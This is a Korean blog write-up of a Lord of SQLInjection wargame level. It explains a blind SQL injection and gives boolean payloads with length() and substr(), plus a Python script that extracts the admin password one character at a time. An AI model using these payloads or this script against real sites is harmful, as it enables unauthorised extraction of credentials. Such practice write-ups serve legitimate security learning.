LOS Level 04번 문제를 풀어보자.
풀이 과정
1. $_GET[pw] 를 통해 pw를 사용자 입력값으로 받고 있다.
2. preg_match() 함수는 $_GET[pw]로부터 입력받은 값에서 'prob', '_', '.', '\' 값이 있을 시 No Hack ~_~ 화면으로 넘어간다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
3. 다음 문장은 입력받은 pw와 id가 admin인 값을 찾아서 $query 변수에 저장하는 쿼리문이다.
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
4. 값을 찾은 쿼리문을 출력하고,$result['id']가 admin 일 때 (= 쿼리문이 참일 때) Hello admin을 화면에 출력한다.
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
5. $result['id']가 admin 인 비밀번호를 맞추면 문제를 풀 수 있다.
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
풀이
id가 admin인 쿼리문에서 where 조건이 참일때에 Hello admin 문구를 출력한다.
참,거짓에 따라서 문구를 출력하므로 Blind SQL Injection 문제이다.
그러므로, id가 admin일 때, pw는 임의의 값을 주고 or 로 원하는 결과를 빼내면 된다.
쿼리문을 select id from prob_orc where id='admin' and pw='' or 1='1' 이렇게 해주면 참이 되므로 Hello admin 출력한다.
참, 거짓의 결과만 반환하므로 이를 이용해 비밀번호를 구한다.
① length 함수로 비밀번호 길이 구하기
쿼리문: select id from prob_orc where id='admin' and pw='' or length(pw)='1'
length 함수로 pw의 길이를 구할 수 있다.
이런식으로 1부터 넣어주면 비밀번호의 길이를 구할 수 있다.
② substr 함수로 각 자리 비밀번호 문자 구하기
쿼리문: select id from prob_orc where id='admin' and pw='' or substr(pw,1,1)='A'
substr 함수는 pw의 첫번째 자리, 한글자를 출력해준다. 이런식으로 A,B,1,2,a,b,!,~@.. 등등 넣어주면 비밀번호를 구할 수 있다.
위 2가지를 구하기 위해 값을 일일이 넣어줄 수는 없기 때문에 파이썬으로 자동화 코드를 작성해보았다.
로그인을 필요로하는 사이트이기 때문에 쿠키값을 넣어주어야 한다.
import requests
import string
url = ("https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php")
cookies = {'PHPSESSID': 'ndn1ntdata0gugq3vn8i6aj8ec'}
password = "" #최종 비밀번호 변수 선언
code = string.ascii_letters + string.digits + string.punctuation #영문자, 숫자, 특수문자
length = 0 #비밀번호 길이 변수
count = 1 #1부터 비밀번호 길이 찾을 때 까지 더해지는 변수
while True:
query = "?pw=' or id='admin' and length(pw)='"+ str(count) #비밀번호 길이 구하는 쿼리문
url2 = url + query
res = requests.get(url2, cookies=cookies)
if "Hello admin" in res.text:
length = count
print("비밀번호 길이는 "+str(length)+" 자리 이다.")
print("----------------------------")
break
count += 1 #if문에 해당되지 않을 시 count가 1씩 증가
for i in range(1,length+1):
for ch in code:
pw_query = "?pw=' or id='admin' and substr(pw," + str(i) + ",1)="+"'"+ch #8자리의 비밀번호 한글자씩 구하는 쿼리문
url3 = url + pw_query
res2 = requests.get(url3, cookies=cookies)
if "Hello admin" in res2.text:
print(str(i)+"번째 비밀번호는 "+ch+" 이다.")
password += str(ch)
break
print("----------------------------")
print("최종 비밀번호는 :" + password)
답
ORC Clear!가 뜨게 된다.

알게된 점
로그인을 필요로하는 사이트에서 자동화 코드 돌리려면 쿠키값을 넣어주어야 한다.쿼리문 조작 시 주석처리를 하지 않고도 공격이 가능하다면 주석처리하지 않는 방향으로 공격하는게 좋을 것 같다.
처음 자동화 코드를 짜봤는데 많은 시간을 헤맸지만 결국 해내서 성취감이 너무 크다! 앞으로도 쮹쮹 나가자!^__^👊👊
문제 풀이 사이트
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
[Lord of SQLInjection] Level03 write-up (0) | 2021.10.14 |
---|---|
[Lord of SQLInjection] Level02 write-up (0) | 2021.10.14 |
[Lord of SQLInjection] Level01 write-up (0) | 2021.10.14 |
댓글